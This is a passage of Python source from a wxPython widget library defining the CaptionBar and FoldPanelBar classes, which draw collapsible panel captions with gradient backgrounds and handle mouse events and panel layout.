state. The parent should re-arrange the associated windows accordingly\n \"\"\"\n \n def __init__(self, evtType):\n \"\"\"\n Default class constructor.\n\n :param `evtType`: the event type.\n \"\"\"\n\n wx.PyCommandEvent.__init__(self, evtType)\n\n \n def GetFoldStatus(self):\n \"\"\"\n Returns whether the bar is expanded or collapsed. ``True`` means\n expanded.\n \"\"\" \n\n return not self._bar.IsCollapsed()\n\n\n def GetBar(self):\n \"\"\" Returns the selected L{CaptionBar}. \"\"\"\n \n return self._bar\n\n\n def SetTag(self, tag):\n \"\"\"\n Assigns a tag to the selected L{CaptionBar}.\n\n :param `tag`: an instance of L{FoldPanelBar}.\n \"\"\" \n\n self._tag = tag\n\n\n def GetTag(self):\n \"\"\" Returns the tag assigned to the selected L{CaptionBar}. \"\"\"\n \n return self._tag\n\n\n def SetBar(self, bar):\n \"\"\"\n Sets the bar associated with this event.\n\n :param `bar`: an instance of L{CaptionBar}.\n \n :note: Should not be used by any other than the originator of the event.\n \"\"\" \n\n self._bar = bar\n\n\n# -------------------------------------------------------------------------------- #\n# class CaptionBar\n# -------------------------------------------------------------------------------- #\n\nclass CaptionBar(wx.Window):\n \"\"\"\n This class is a graphical caption component that consists of a\n caption and a clickable arrow.\n\n The CaptionBar fires an event ``EVT_CAPTIONBAR`` which is a\n L{CaptionBarEvent}. This event can be caught and the parent window\n can act upon the collapsed or expanded state of the bar (which is\n actually just the icon which changed). The parent panel can\n reduce size or expand again.\n \"\"\"\n \n def __init__(self, parent, id, pos, size, caption=\"\",\n foldIcons=None, cbstyle=None,\n rightIndent=FPB_BMP_RIGHTSPACE,\n iconWidth=16, iconHeight=16, collapsed=False):\n \"\"\"\n Default class constructor.\n\n :param `parent`: the L{CaptionBar} parent window;\n :param `id`: an identifier for the control: a value of -1 is taken to mean a default;\n :param `pos`: the control position. A value of (-1, -1) indicates a default position,\n chosen by either the windowing system or wxPython, depending on platform;\n :param `size`: the control size. A value of (-1, -1) indicates a default size,\n chosen by either the windowing system or wxPython, depending on platform;\n :param `caption`: the string to be displayed in L{CaptionBar};\n :param `foldIcons`: an instance of `wx.ImageList` containing the icons to display\n next to the caption text;\n :param `cbstyle`: the L{CaptionBar} window style. Must be an instance of\n L{CaptionBarStyle};\n :param `rightIndent`: number of pixels of the bmp to be aligned from the right filled\n with space;\n :param `iconWidth`: the L{CaptionBar} icon width;\n :param `iconHeight`: the L{CaptionBar} icon height; \n :param `collapsed`: ``True`` if the L{CaptionBar} should start in the collapsed state,\n ``False`` otherwise.\n \"\"\"\n \n wx.Window.__init__(self, parent, wx.ID_ANY, pos=pos,\n size=(20,20), style=wx.NO_BORDER)\n\n self._controlCreated = False\n self._collapsed = collapsed\n self.ApplyCaptionStyle(cbstyle, True)\n\n if foldIcons is None:\n foldIcons = wx.ImageList(16, 16)\n\n bmp = ExpandedIcon.GetBitmap()\n foldIcons.Add(bmp)\n bmp = CollapsedIcon.GetBitmap()\n foldIcons.Add(bmp)\n\n # set initial size\n if foldIcons:\n assert foldIcons.GetImageCount() > 1\n iconWidth, iconHeight = foldIcons.GetSize(0)\n\n self._caption = caption\n self._foldIcons = foldIcons\n self._style = cbstyle\n self._rightIndent = rightIndent\n self._iconWidth = iconWidth\n self._iconHeight = iconHeight\n self._oldSize = wx.Size(20,20)\n\n self._controlCreated = True\n\n self.Bind(wx.EVT_PAINT, self.OnPaint)\n self.Bind(wx.EVT_SIZE, self.OnSize)\n self.Bind(wx.EVT_MOUSE_EVENTS, self.OnMouseEvent)\n self.Bind(wx.EVT_CHAR, self.OnChar)\n \n\n def ApplyCaptionStyle(self, cbstyle=None, applyDefault=True):\n \"\"\"\n Applies the style defined in `cbstyle` to the L{CaptionBar}.\n\n :param `cbstyle`: an instance of L{CaptionBarStyle};\n :param `applyDefault`: if ``True``, the colours used in the L{CaptionBarStyle}\n will be reset to their default values.\n \"\"\"\n\n if cbstyle is None:\n cbstyle = EmptyCaptionBarStyle\n \n newstyle = cbstyle\n \n if applyDefault:\n\n # get first colour from style or make it default\n if not newstyle.FirstColourUsed():\n newstyle.SetFirstColour(wx.WHITE)\n\n # get second colour from style or make it default\n if not newstyle.SecondColourUsed():\n # make the second colour slightly darker then the background\n colour = self.GetParent().GetBackgroundColour()\n r, g, b = int(colour.Red()), int(colour.Green()), int(colour.Blue())\n colour = ((r >> 1) + 20, (g >> 1) + 20, (b >> 1) + 20)\n newstyle.SetSecondColour(wx.Colour(colour[0], colour[1], colour[2]))\n\n # get text colour\n if not newstyle.CaptionColourUsed():\n newstyle.SetCaptionColour(wx.BLACK)\n\n # get font colour\n if not newstyle.CaptionFontUsed():\n newstyle.SetCaptionFont(self.GetParent().GetFont())\n\n # apply caption style\n if not newstyle.CaptionStyleUsed():\n newstyle.SetCaptionStyle(CAPTIONBAR_GRADIENT_V)\n\n self._style = newstyle\n \n\n def SetCaptionStyle(self, cbstyle=None, applyDefault=True):\n \"\"\"\n Sets L{CaptionBar} styles with L{CaptionBarStyle} class.\n\n :param `cbstyle`: an instance of L{CaptionBarStyle};\n :param `applyDefault`: if ``True``, the colours used in the L{CaptionBarStyle}\n will be reset to their default values.\n\n :note: All styles that are actually set, are applied. If you set `applyDefault`\n to ``True``, all other (not defined) styles will be set to default. If it is\n ``False``, the styles which are not set in the L{CaptionBarStyle} will be ignored.\n \"\"\"\n\n if cbstyle is None:\n cbstyle = EmptyCaptionBarStyle\n \n self.ApplyCaptionStyle(cbstyle, applyDefault)\n self.Refresh()\n\n \n def GetCaptionStyle(self):\n \"\"\"\n Returns the current style of the captionbar in a L{CaptionBarStyle} class.\n\n :note: This can be used to change and set back the changes.\n \"\"\"\n \n return self._style\n\n\n def IsCollapsed(self):\n \"\"\" Returns wether the status of the bar is expanded or collapsed. \"\"\"\n \n return self._collapsed\n \n\n def SetRightIndent(self, pixels):\n \"\"\"\n Sets the amount of pixels on the right from which the bitmap\n is trailing.\n\n :param `pixels`: the number of pixels on the right from which the bitmap\n is trailing. If this is 0, it will be drawn all the way to the right,\n default is equal to ``FPB_BMP_RIGHTSPACE``. Assign this before\n assigning an image list to prevent a redraw.\n \"\"\"\n \n assert pixels >= 0\n self._rightIndent = pixels\n if self._foldIcons:\n self.Refresh()\n\n\n def Collapse(self):\n \"\"\"\n This sets the internal state/representation to collapsed.\n\n :note: This does not trigger a L{CaptionBarEvent} to be sent to the\n parent.\n \"\"\"\n \n self._collapsed = True\n self.RedrawIconBitmap()\n\n\n def Expand(self):\n \"\"\"\n This sets the internal state/representation to expanded.\n\n :note: This does not trigger a L{CaptionBarEvent} to be sent to the\n parent.\n \"\"\" \n\n self._collapsed = False\n self.RedrawIconBitmap()\n \n\n def SetBoldFont(self):\n \"\"\" Sets the L{CaptionBar} font weight to bold.\"\"\"\n \n self.GetFont().SetWeight(wx.BOLD)\n\n\n def SetNormalFont(self):\n \"\"\" Sets the L{CaptionBar} font weight to normal.\"\"\"\n \n self.GetFont().SetWeight(wx.NORMAL)\n\n\n def IsVertical(self):\n \"\"\"\n Returns wether the L{CaptionBar} has a default orientation or not.\n Default is vertical.\n \"\"\"\n \n fld = self.GetParent().GetGrandParent()\n if isinstance(fld, FoldPanelBar):\n return self.GetParent().GetGrandParent().IsVertical()\n else:\n raise Exception(\"ERROR: Wrong Parent \" + repr(fld))\n\n \n def OnPaint(self, event):\n \"\"\"\n Handles the ``wx.EVT_PAINT`` event for L{CaptionBar}.\n\n :param `event`: a `wx.PaintEvent` event to be processed.\n \"\"\"\n \n if not self._controlCreated:\n event.Skip()\n return\n \n dc = wx.PaintDC(self)\n wndRect = self.GetRect()\n vertical = self.IsVertical()\n \n # TODO: Maybe first a memory DC should draw all, and then paint it on\n # the caption. This way a flickering arrow during resize is not visible\n \n self.FillCaptionBackground(dc)\n dc.SetFont(self._style.GetCaptionFont())\n dc.SetTextForeground(self._style.GetCaptionColour())\n\n if vertical:\n dc.DrawText(self._caption, 4, FPB_EXTRA_Y/2)\n else:\n dc.DrawRotatedText(self._caption, FPB_EXTRA_Y/2,\n wndRect.GetBottom() - 4, 90)\n\n # draw small icon, either collapsed or expanded\n # based on the state of the bar. If we have any bmp's\n\n if self._foldIcons:\n\n index = self._collapsed\n \n if vertical:\n drw = wndRect.GetRight() - self._iconWidth - self._rightIndent\n self._foldIcons.Draw(index, dc, drw,\n (wndRect.GetHeight() - self._iconHeight)/2,\n wx.IMAGELIST_DRAW_TRANSPARENT)\n else:\n self._foldIcons.Draw(index, dc,\n (wndRect.GetWidth() - self._iconWidth)/2,\n self._rightIndent, wx.IMAGELIST_DRAW_TRANSPARENT)\n\n## event.Skip()\n \n\n def FillCaptionBackground(self, dc):\n \"\"\"\n Fills the background of the caption with either a gradient or\n a solid colour.\n\n :param `dc`: an instance of `wx.DC`. \n \"\"\"\n\n style = self._style.GetCaptionStyle()\n\n if style == CAPTIONBAR_GRADIENT_V:\n if self.IsVertical():\n self.DrawVerticalGradient(dc, self.GetRect())\n else:\n self.DrawHorizontalGradient(dc, self.GetRect())\n\n elif style == CAPTIONBAR_GRADIENT_H:\n if self.IsVertical():\n self.DrawHorizontalGradient(dc, self.GetRect())\n else:\n self.DrawVerticalGradient(dc, self.GetRect())\n \n elif style == CAPTIONBAR_SINGLE:\n self.DrawSingleColour(dc, self.GetRect())\n elif style == CAPTIONBAR_RECTANGLE or style == CAPTIONBAR_FILLED_RECTANGLE:\n self.DrawSingleRectangle(dc, self.GetRect())\n else:\n raise Exception(\"STYLE Error: Undefined Style Selected: \" + repr(style))\n\n\n def OnMouseEvent(self, event):\n \"\"\"\n Handles the ``wx.EVT_MOUSE_EVENTS`` event for L{CaptionBar}.\n\n :param `event`: a `wx.MouseEvent` event to be processed.\n\n :note: This method catches the mouse click-double click. If clicked on\n the arrow (single) or double on the caption we change state and an event\n must be fired to let this panel collapse or expand.\n \"\"\"\n\n send_event = False\n vertical = self.IsVertical()\n \n if event.LeftDown() and self._foldIcons:\n\n pt = event.GetPosition()\n rect = self.GetRect()\n \n drw = (rect.GetWidth() - self._iconWidth - self._rightIndent)\n if vertical and pt.x > drw or not vertical and \\\n pt.y < (self._iconHeight + self._rightIndent):\n send_event = True\n\n elif event.LeftDClick():\n self.SetCursor(wx.StockCursor(wx.CURSOR_ARROW))\n send_event = True\n\n elif event.Entering() and self._foldIcons:\n pt = event.GetPosition()\n rect = self.GetRect()\n\n drw = (rect.GetWidth() - self._iconWidth - self._rightIndent)\n if vertical and pt.x > drw or not vertical and \\\n pt.y < (self._iconHeight + self._rightIndent):\n self.SetCursor(wx.StockCursor(wx.CURSOR_HAND))\n else:\n self.SetCursor(wx.StockCursor(wx.CURSOR_ARROW))\n\n elif event.Leaving():\n self.SetCursor(wx.StockCursor(wx.CURSOR_ARROW))\n\n elif event.Moving():\n pt = event.GetPosition()\n rect = self.GetRect()\n\n drw = (rect.GetWidth() - self._iconWidth - self._rightIndent) \n if vertical and pt.x > drw or not vertical and \\\n pt.y < (self._iconHeight + self._rightIndent):\n self.SetCursor(wx.StockCursor(wx.CURSOR_HAND))\n else:\n self.SetCursor(wx.StockCursor(wx.CURSOR_ARROW))\n \n # send the collapse, expand event to the parent\n \n if send_event:\n event = CaptionBarEvent(wxEVT_CAPTIONBAR)\n event.SetId(self.GetId())\n event.SetEventObject(self)\n event.SetBar(self)\n self.GetEventHandler().ProcessEvent(event)\n \n\n def OnChar(self, event):\n \"\"\"\n Handles the ``wx.EVT_CHAR`` event for L{CaptionBar}.\n\n :param `event`: a `wx.KeyEvent` event to be processed.\n\n :note: This method currently does nothing.\n \"\"\"\n \n # TODO: Anything here?\n event.Skip()\n\n\n def DoGetBestSize(self):\n \"\"\"\n Returns the best size for this panel, based upon the font\n assigned to this window, and the caption string.\n \"\"\"\n \n if self.IsVertical():\n x, y = self.GetTextExtent(self._caption)\n else:\n y, x = self.GetTextExtent(self._caption)\n\n if x < self._iconWidth:\n x = self._iconWidth\n\n if y < self._iconHeight:\n y = self._iconHeight\n\n # TODO: The extra FPB_EXTRA_X constants should be adjustable as well\n\n return wx.Size(x + FPB_EXTRA_X, y + FPB_EXTRA_Y)\n\n\n def DrawVerticalGradient(self, dc, rect):\n \"\"\"\n Gradient fill from colour 1 to colour 2 from top to bottom.\n\n :param `dc`: an instance of `wx.DC`;\n :param `rect`: the L{CaptionBar} client rectangle.\n \"\"\"\n\n if rect.height < 1 or rect.width < 1:\n return\n\n dc.SetPen(wx.TRANSPARENT_PEN)\n\n # calculate gradient coefficients\n col2 = self._style.GetSecondColour()\n col1 = self._style.GetFirstColour()\n\n r1, g1, b1 = int(col1.Red()), int(col1.Green()), int(col1.Blue())\n r2, g2, b2 = int(col2.Red()), int(col2.Green()), int(col2.Blue())\n\n flrect = float(rect.height)\n\n rstep = float((r2 - r1)) / flrect\n gstep = float((g2 - g1)) / flrect\n bstep = float((b2 - b1)) / flrect\n\n rf, gf, bf = 0, 0, 0\n\n for y in range(rect.y, rect.y + rect.height):\n currCol = (r1 + rf, g1 + gf, b1 + bf)\n \n dc.SetBrush(wx.Brush(currCol, wx.SOLID))\n dc.DrawRectangle(rect.x, rect.y + (y - rect.y), rect.width, rect.height)\n rf = rf + rstep\n gf = gf + gstep\n bf = bf + bstep\n\n\n def DrawHorizontalGradient(self, dc, rect):\n \"\"\"\n Gradient fill from colour 1 to colour 2 from left to right.\n\n :param `dc`: an instance of `wx.DC`;\n :param `rect`: the L{CaptionBar} client rectangle.\n \"\"\"\n\n if rect.height < 1 or rect.width < 1:\n return\n\n dc.SetPen(wx.TRANSPARENT_PEN)\n\n # calculate gradient coefficients\n col2 = self._style.GetSecondColour()\n col1 = self._style.GetFirstColour()\n\n r1, g1, b1 = int(col1.Red()), int(col1.Green()), int(col1.Blue())\n r2, g2, b2 = int(col2.Red()), int(col2.Green()), int(col2.Blue())\n\n flrect = float(rect.width)\n\n rstep = float((r2 - r1)) / flrect\n gstep = float((g2 - g1)) / flrect\n bstep = float((b2 - b1)) / flrect\n\n rf, gf, bf = 0, 0, 0\n \n for x in range(rect.x, rect.x + rect.width):\n currCol = (r1 + rf, g1 + gf, b1 + bf)\n \n dc.SetBrush(wx.Brush(currCol, wx.SOLID))\n dc.DrawRectangle(rect.x + (x - rect.x), rect.y, 1, rect.height)\n rf = rf + rstep\n gf = gf + gstep\n bf = bf + bstep\n\n\n def DrawSingleColour(self, dc, rect):\n \"\"\"\n Single colour fill for L{CaptionBar}.\n\n :param `dc`: an instance of `wx.DC`;\n :param `rect`: the L{CaptionBar} client rectangle. \n \"\"\"\n\n if rect.height < 1 or rect.width < 1:\n return\n\n dc.SetPen(wx.TRANSPARENT_PEN)\n\n # draw simple rectangle\n dc.SetBrush(wx.Brush(self._style.GetFirstColour(), wx.SOLID))\n dc.DrawRectangle(rect.x, rect.y, rect.width, rect.height)\n \n\n def DrawSingleRectangle(self, dc, rect):\n \"\"\"\n Single rectangle for L{CaptionBar}.\n\n :param `dc`: an instance of `wx.DC`;\n :param `rect`: the L{CaptionBar} client rectangle. \n \"\"\"\n \n if rect.height < 2 or rect.width < 1:\n return\n\n # single frame, set up internal fill colour\n\n if self._style.GetCaptionStyle() == CAPTIONBAR_RECTANGLE:\n colour = self.GetParent().GetBackgroundColour()\n br = wx.Brush(colour, wx.SOLID)\n else:\n colour = self._style.GetFirstColour()\n br = wx.Brush(colour, wx.SOLID)\n\n # setup the pen frame\n\n pen = wx.Pen(self._style.GetSecondColour())\n dc.SetPen(pen)\n dc.SetBrush(br)\n dc.DrawRectangle(rect.x, rect.y, rect.width, rect.height - 1)\n\n bgpen = wx.Pen(self.GetParent().GetBackgroundColour())\n dc.SetPen(bgpen)\n dc.DrawLine(rect.x, rect.y + rect.height - 1, rect.x + rect.width,\n rect.y + rect.height - 1)\n\n\n def OnSize(self, event):\n \"\"\"\n Handles the ``wx.EVT_SIZE`` event for L{CaptionBar}.\n\n :param `event`: a `wx.SizeEvent` event to be processed.\n \"\"\"\n\n if not self._controlCreated:\n event.Skip()\n return\n \n size = event.GetSize()\n\n if self._foldIcons:\n\n # What I am doing here is simply invalidating the part of the window\n # exposed. So when I make a rect with as width the newly exposed part,\n # and the x,y of the old window size origin, I don't need a bitmap\n # calculation in it, or do I ? The bitmap needs redrawing anyway. \n # Leave it like this until I figured it out.\n\n # set rect to redraw as old bitmap area which is entitled to redraw\n\n rect = wx.Rect(size.GetWidth() - self._iconWidth - self._rightIndent, 0,\n self._iconWidth + self._rightIndent,\n self._iconWidth + self._rightIndent)\n \n # adjust rectangle when more is slided so we need to redraw all\n # the old stuff but not all (ugly flickering)\n\n diffX = size.GetWidth() - self._oldSize.GetWidth()\n \n if diffX > 1:\n \n # adjust the rect with all the crap to redraw\n\n rect.SetWidth(rect.GetWidth() + diffX + 10)\n rect.SetX(rect.GetX() - diffX - 10)\n\n self.RefreshRect(rect)\n \n else:\n \n rect = self.GetRect()\n self.RefreshRect(rect)\n\n self._oldSize = size\n \n\n def RedrawIconBitmap(self):\n \"\"\" Redraws the icons (if they exists). \"\"\"\n\n if self._foldIcons:\n \n # invalidate the bitmap area and force a redraw\n\n rect = self.GetRect()\n\n rect.SetX(rect.GetWidth() - self._iconWidth - self._rightIndent)\n rect.SetWidth(self._iconWidth + self._rightIndent)\n self.RefreshRect(rect)\n\n\n# ---------------------------------------------------------------------------------- #\n# class FoldPanelBar\n# ---------------------------------------------------------------------------------- #\n\nclass FoldPanelBar(wx.Panel):\n \"\"\"\n The FoldPanelBar is a class which can maintain a list of\n collapsible panels. Once a panel is collapsed, only it's caption\n bar is visible to the user. This will provide more space for the\n other panels, or allow the user to close panels which are not used\n often to get the most out of the work area.\n\n This control is easy to use. Simply create it as a child for a\n panel or sash window, and populate panels with\n L{FoldPanelBar.AddFoldPanel}. Then use the L{FoldPanelBar.AddFoldPanelWindow} to add\n `wx.Window` derived controls to the current fold panel. Use\n L{FoldPanelBar.AddFoldPanelSeparator} to put separators between the groups of\n controls that need a visual separator to group them\n together. After all is constructed, the user can fold the panels\n by double clicking on the bar or single click on the arrow, which\n will indicate the collapsed or expanded state.\n \"\"\"\n \n def __init__(self, parent, id=-1, pos=wx.DefaultPosition, size=wx.DefaultSize,\n style=wx.TAB_TRAVERSAL|wx.NO_BORDER, agwStyle=0): \n \"\"\"\n Default class constructor.\n\n :param `parent`: the L{FoldPanelBar} parent window;\n :param `id`: an identifier for the control: a value of -1 is taken to mean a default;\n :param `pos`: the control position. A value of (-1, -1) indicates a default position,\n chosen by either the windowing system or wxPython, depending on platform;\n :param `size`: the control size. A value of (-1, -1) indicates a default size,\n chosen by either the windowing system or wxPython, depending on platform;\n :param `style`: the underlying `wx.Panel` window style;\n :param `agwStyle`: the AGW-specific L{FoldPanelBar} window style. It can be one of the\n following bits:\n \n ========================== =========== ==================================================\n Window Styles Hex Value Description\n ========================== =========== ==================================================\n ``FPB_SINGLE_FOLD`` 0x1 Single fold forces other panels to close when they are open, and only opens the current panel. This will allow the open panel to gain the full size left in the client area.\n ``FPB_COLLAPSE_TO_BOTTOM`` 0x2 All panels are stacked to the bottom. When they are expanded again they show up at the top. \n ``FPB_EXCLUSIVE_FOLD`` 0x4 ``FPB_SINGLE_FOLD`` style plus the panels will be stacked at the bottom. \n ``FPB_HORIZONTAL`` 0x4 L{FoldPanelBar} will be horizontal.\n ``FPB_VERTICAL`` 0x8 L{FoldPanelBar} will be vertical.\n ========================== =========== ==================================================\n \"\"\"\n \n self._controlCreated = False\n \n # make sure there is any orientation\n if agwStyle & FPB_HORIZONTAL != FPB_HORIZONTAL:\n agwStyle = agwStyle | FPB_VERTICAL\n\n if agwStyle & FPB_HORIZONTAL == 4:\n self._isVertical = False\n else:\n self._isVertical = True\n\n self._agwStyle = agwStyle\n\n # create the panel (duh!). This causes a size event, which we are going\n # to skip when we are not initialised\n\n wx.Panel.__init__(self, parent, id, pos, size, style)\n\n # the fold panel area\n\n self._foldPanel = wx.Panel(self, wx.ID_ANY, pos, size,\n wx.NO_BORDER | wx.TAB_TRAVERSAL)\n\n self._controlCreated = True\n self._panels = []\n\n self.Bind(EVT_CAPTIONBAR, self.OnPressCaption)\n self.Bind(wx.EVT_SIZE, self.OnSizePanel)\n \n\n def AddFoldPanel(self, caption=\"\", collapsed=False, foldIcons=None, cbstyle=None):\n \"\"\"\n Adds a fold panel to the list of panels.\n\n :param `caption`: the caption to be displayed in the associated L{CaptionBar};\n :param `collapsed`: if set to ``True``, the panel is collapsed initially;\n :param `foldIcons`: an instance of `wx.ImageList` containing the icons to display\n next to the caption text;\n :param `cbstyle`: an instance of L{CaptionBarStyle}.\n\n :note: The FoldPanel item which is returned, can be used as a reference to perform\n actions upon the fold panel like collapsing it, expanding it, or deleting it\n from the list. Use this foldpanel to add windows to it.\n \n :see: L{AddFoldPanelWindow} and L{AddFoldPanelSeparator} to see how to add\n items derived from `wx.Window` to the panels.\n \"\"\"\n\n if cbstyle is None:\n cbstyle = EmptyCaptionBarStyle\n\n # create a fold panel item, which is first only the caption.\n # the user can now add a panel area which will be folded in\n # when pressed.\n\n if foldIcons is None:\n foldIcons = wx.ImageList(16, 16)\n\n bmp = ExpandedIcon.GetBitmap()\n foldIcons.Add(bmp)\n bmp = CollapsedIcon.GetBitmap()\n foldIcons.Add(bmp)\n \n item = FoldPanelItem(self._foldPanel, -1, caption=caption,\n foldIcons=foldIcons,\n collapsed=collapsed, cbstyle=cbstyle)\n \n pos = 0\n if len(self._panels) > 0:\n pos = self._panels[-1].GetItemPos() + self._panels[-1].GetPanelLength()\n\n item.Reposition(pos)\n self._panels.append(item)\n\n return item\n\n\n def AddFoldPanelWindow(self, panel, window, flags=FPB_ALIGN_WIDTH,\n spacing=FPB_DEFAULT_SPACING,\n leftSpacing=FPB_DEFAULT_LEFTLINESPACING,\n rightSpacing=FPB_DEFAULT_RIGHTLINESPACING):\n \"\"\"\n Adds a `wx.Window` derived instance to the referenced fold panel.\n\n :param `panel`: an instance of L{FoldPanelItem};\n :param `window`: the window we wish to add to the fold panel, an instance\n of `wx.Window`;\n :param `flags`: can be one of the following bits:\n\n ====================== ======= ====================================\n Align Flag Value Description\n ====================== ======= ====================================\n ``FPB_ALIGN_WIDTH`` 1 The `wx.Window` to be added will be aligned to fit the width of the FoldPanel when it is resized. Very handy for sizer items, buttons and text boxes.\n ``FPB_ALIGN_LEFT`` 0 Aligns left instead of fitting the width of the child window to be added. Use either this one or ``FPB_ALIGN_WIDTH``.\n ====================== ======= ====================================\n\n :param `spacing`: the `wx.Window` to be added can be slightly indented from\n left and right so it is more visibly placed in the fold panel. Use `spacing` > 0\n to give the control an y offset from the previous `wx.Window` added;\n :param `leftSpacing`: give the `wx.Window` added a slight indent from the left;\n :param `rightSpacing`: give the `wx.Window` added a slight indent from the right;\n \n :note: Make the window be a child of the fold panel!\n \n The following example adds a FoldPanel to the FoldPanelBar and\n adds two `wx.Window` derived controls to the FoldPanel::\n\n # Create the FoldPanelBar\n m_pnl = FoldPanelBar(self, wx.ID_ANY, wx.DefaultPosition, wx.DefaultSize, agwStyle=0x2)\n\n # Add a foldpanel to the control. \"Test me\" is the caption and it is\n # initially not collapsed.\n item = m_pnl.AddFoldPanel(\"Test me\", False)\n\n # Now add a button to the fold panel. Mind that the button should be\n # made child of the FoldPanel and not of the main form.\n m_pnl.AddFoldPanelWindow(item, wx.Button(item, ID_COLLAPSEME, \"Collapse Me\"))\n\n # Add a separator between the two controls. This is purely a visual\n # line that can have a certain colour and also the indents and width\n # aligning like a control.\n m_pnl.AddFoldPanelSeparator(item)\n \n # Now add a text ctrl. Also very easy. Align this on width so that\n # when the control gets wider the text control also sizes along.\n m_pnl.AddFoldPanelWindow(item, wx.TextCtrl(item, wx.ID_ANY, \"Comment\"), FPB_ALIGN_WIDTH, FPB_DEFAULT_SPACING, 20)\n\n \"\"\"\n \n try:\n item = self._panels.index(panel)\n except:\n raise Exception(\"ERROR: Invalid Panel Passed To AddFoldPanelWindow: \" + repr(panel))\n \n panel.AddWindow(window, flags, spacing, leftSpacing, rightSpacing)\n\n # TODO: Take old and new height, and if difference, reposition all the lower\n # panels this is because the user can add new wxWindow controls somewhere in\n # between when other panels are already present.\n \n return 0\n\n\n def AddFoldPanelSeparator(self, panel, colour=wx.BLACK,\n spacing=FPB_DEFAULT_SPACING,\n leftSpacing=FPB_DEFAULT_LEFTLINESPACING,\n rightSpacing=FPB_DEFAULT_RIGHTLINESPACING):\n \"\"\"\n Adds a separator line to the current fold panel.\n \n The separator is a simple line which is drawn and is no real\n component. It can be used to separate groups of controls\n which belong to each other.\n\n :param `colour`: the separator colour, an instance of `wx.Colour`;\n :param `spacing`: the separator to be added can be slightly indented from\n left and right so it is more visibly placed in the fold panel. Use `spacing` > 0\n to give the control an y offset from the previous `wx.Window` added;\n :param `leftSpacing`: give the added separator a slight indent from the left;\n :param `rightSpacing`: give the added separator a slight indent from the right.\n \"\"\"\n \n try:\n item = self._panels.index(panel)\n except:\n raise Exception(\"ERROR: Invalid Panel Passed To AddFoldPanelSeparator: \" + repr(panel))\n \n panel.AddSeparator(colour, spacing, leftSpacing, rightSpacing)\n return 0\n\n\n def OnSizePanel(self, event):\n \"\"\"\n Handles the ``wx.EVT_SIZE`` event for L{FoldPanelBar}.\n\n :param `event`: a `wx.SizeEvent` event to be processed.\n \"\"\"\n\n # skip all stuff when we are not initialised yet\n\n if not self._controlCreated:\n event.Skip()\n return\n\n foldrect = self.GetRect()\n\n # fold panel itself. If too little space,\n # don't show it\n\n foldrect.SetX(0)\n foldrect.SetY(0)\n\n self._foldPanel.SetSize(foldrect[2:])\n \n if self._agwStyle & FPB_COLLAPSE_TO_BOTTOM or self._agwStyle & FPB_EXCLUSIVE_FOLD:\n rect = self.RepositionCollapsedToBottom()\n vertical = self.IsVertical()\n if vertical and rect.GetHeight() > 0 or not vertical and rect.GetWidth() > 0:\n self.RefreshRect(rect)\n\n # TODO: A smart way to check wether the old - new width of the\n # panel changed, if so no need to resize the fold panel items\n\n self.RedisplayFoldPanelItems()\n \n\n def OnPressCaption(self, event):\n \"\"\"\n Handles the ``wx.EVT_CAPTIONBAR`` event for L{CaptionBar}.\n\n :param `event`: a L{CaptionBarEvent} event to be processed.\n \"\"\"\n\n # act upon the folding or expanding status of the bar\n # to expand or collapse the panel(s)\n\n if event.GetFoldStatus():\n self.Collapse(event.GetTag())\n else:\n self.Expand(event.GetTag())\n\n \n\n def RefreshPanelsFrom(self, item):\n \"\"\"\n Refreshes all the panels from given one down to last one.\n\n :param `item`: the first L{FoldPanelItem} to be refreshed. \n \"\"\"\n \n try:\n i = self._panels.index(item)\n except:\n raise Exception(\"ERROR: Invalid Panel Passed To RefreshPanelsFrom: \" + repr(item))\n \n self.Freeze()\n\n # if collapse to bottom is on, the panels that are not expanded\n # should be drawn at the bottom. All panels that are expanded\n # are drawn on top. The last expanded panel gets all the extra space\n\n if self._agwStyle & FPB_COLLAPSE_TO_BOTTOM or self._agwStyle & FPB_EXCLUSIVE_FOLD:\n \n offset = 0\n\n for panels in self._panels:\n \n if panels.IsExpanded():\n offset = offset + panels.Reposition(offset)\n \n # put all non collapsed panels at the bottom where there is space, \n # else put them right behind the expanded ones\n\n self.RepositionCollapsedToBottom()\n \n else:\n \n pos = self._panels[i].GetItemPos() + self._panels[i].GetPanelLength()\n for j in range(i+1, len(self._panels)):\n pos = pos + self._panels[j].Reposition(pos)\n \n self.Thaw()\n \n\n def RedisplayFoldPanelItems(self):\n \"\"\" Resizes the fold panels so they match the width. \"\"\"\n \n # resize them all. No need to reposition\n for panels in self._panels:\n panels.ResizePanel()\n panels.Refresh()\n\n\n def RepositionCollapsedToBottom(self):\n \"\"\"\n Repositions all the collapsed panels to the bottom.\n\n When it is not possible to align them to the bottom, stick them behind\n the visible panels.\n \"\"\"\n\n value = wx.Rect(0,0,0,0)\n vertical = self.IsVertical()\n\n # determine wether the number of panels left\n # times the size of their captions is enough\n # to be placed in the left over space\n\n expanded = 0\n collapsed = 0\n collapsed, expanded, values = self.GetPanelsLength(collapsed, expanded)\n\n # if no room stick them behind the normal ones, else\n # at the bottom\n\n if (vertical and [self.GetSize().GetHeight()] or \\\n [self.GetSize().GetWidth()])[0] - expanded - collapsed < 0:\n offset = expanded\n else:\n\n # value is the region which is left unpainted\n # I will send it back as 'slack' so it does not need to\n # be recalculated.\n\n value.SetHeight(self.GetSize().GetHeight())\n value.SetWidth(self.GetSize().GetWidth())\n\n if vertical:\n value.SetY(expanded)\n value.SetHeight(value.GetHeight() - expanded)\n else:\n value.SetX(expanded)\n value.SetWidth(value.GetWidth() - expanded)\n\n offset = (vertical and [self.GetSize().GetHeight()] or \\\n [self.GetSize().GetWidth()])[0] - collapsed\n\n\n # go reposition\n\n for panels in self._panels:\n if not panels.IsExpanded():\n offset = offset + panels.Reposition(offset)\n\n return value\n\n\n def GetPanelsLength(self, collapsed, expanded):\n \"\"\"\n Returns the length of the panels that are expanded and\n collapsed.\n\n :param `collapsed`: the current value of the collapsed panels;\n :param `expanded`: the current value of the expanded panels.\n \n :note: This is useful to determine quickly what size is used to display,\n and what is left at the bottom (right) to align the collapsed panels.\n \"\"\"\n \n value = 0\n\n # assumed here that all the panels that are expanded\n # are positioned after each other from 0,0 to end.\n\n for j in range(0, len(self._panels)):\n offset = self._panels[j].GetPanelLength()\n value = value + offset\n if self._panels[j].IsExpanded():\n expanded = expanded + offset\n else:\n collapsed = collapsed + offset\n\n return collapsed, expanded, value\n\n\n def Collapse(self, foldpanel):\n \"\"\"\n Collapses the given fold panel reference, and updates the foldpanel bar.\n\n :param `foldpanel`: an instance of L{FoldPanelItem}.\n \n :note: With the ``FPB_COLLAPSE_TO_BOTTOM`` style set, all collapsed captions\n are put at the bottom of the control. In the normal mode, they stay where\n they are.\n \"\"\"\n \n try:\n item = 